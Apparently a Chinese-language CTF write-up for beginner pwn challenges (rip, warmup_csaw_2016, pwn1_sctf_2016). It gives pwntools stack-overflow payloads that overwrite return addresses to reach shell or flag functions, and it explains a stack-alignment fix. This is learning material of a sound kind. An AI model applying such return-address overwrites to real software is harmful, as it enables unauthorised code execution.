test_you_nc
进去看main里面就是sh
所以nc就好
rip
checksec一下发现是64位
看一下代码没有任何过滤直接一个rop应该就行了
有个fun函数直接就有sh了，就跳过去就好了
payload
system_addr = 0x0401186
payload = flat(
'A'*15, 0, system_addr
)
cn.sendline(payload)
cn.interactive()
奇怪的是
system_addr = 0x0401186
打到远程的话会报错本地没有问题
报错原因百度了一下好像是因为栈出问题了
http://blog.eonew.cn/archives/958
少个push就没问题了
所以最后payload
system_addr = 0x0401187
payload = flat(
'A'*15, 0, system_addr
)
cn.sendline(payload)
cn.interactive()
主要是2.27的system多了一个movaps需要对齐rsp
warmup_csaw_2016
先checksec一下文件
反编译一下
sub_40060D就是一个system地址所以只要跳过去就好了
感觉比上一个简单
这次学乖了多了一个1
pwn1_sctf_2016
32位的
还是反编译先
好像是c++有点难度了
居然没有栈溢出了震惊
难道是格式化字符串？
有个getflag的函数
估计跳过去就行可是怎么跳呢
FUZZ了一下会把I变成you
很多个i变成you就会产生溢出
所以需要溢出0x3C
还有4个ebp
然后加上那个flag的return地址就好啦
60个好像不行啊奇怪
debug了一下
在这里发生了栈溢出
0x3c是60
所以要放20个i
就会有60个布满了
所以payload
z('b*0x080492BF')
system_addr = 0x08048F0E
payload = flat('I'*20,'0'*4,system_addr)
cn.sendline(payload)
cn.interactive()
